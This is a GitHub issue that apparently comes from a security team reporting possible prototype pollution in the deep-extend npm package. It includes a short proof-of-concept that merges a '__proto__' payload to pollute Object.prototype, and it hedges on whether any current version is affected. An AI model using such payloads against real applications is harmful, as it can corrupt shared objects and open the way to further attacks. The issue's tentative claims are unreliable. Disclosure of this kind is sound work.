Skip to content

deep-extend - Prototype Pollution Vulnerability #49

Description

@dfzysmy2tf-create

hi, we are a security team. We found a Prototype Pollution vulnerability in your project.
Package Name: deep-extend
Version: To be confirmed
Vulnerability Description
Older versions of the deep-extend package used the safeGetProperty function to prevent prototype pollution, but the implementation may be inadequate. Current code shows that protection has been added:

function safeGetProperty(object, property) {
    return property === '__proto__' ? undefined : object[property];
}

However, note that vulnerabilities may still exist if outdated versions are used.
POC Verification (for outdated versions)

const deepExtend = require('deep-extend');

// If using a vulnerable outdated version
const target = {};
const source = {
  "__proto__": {
    "polluted": true
  }
};

deepExtend(target, source);
console.log({}.polluted); // Outdated versions may output: true

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions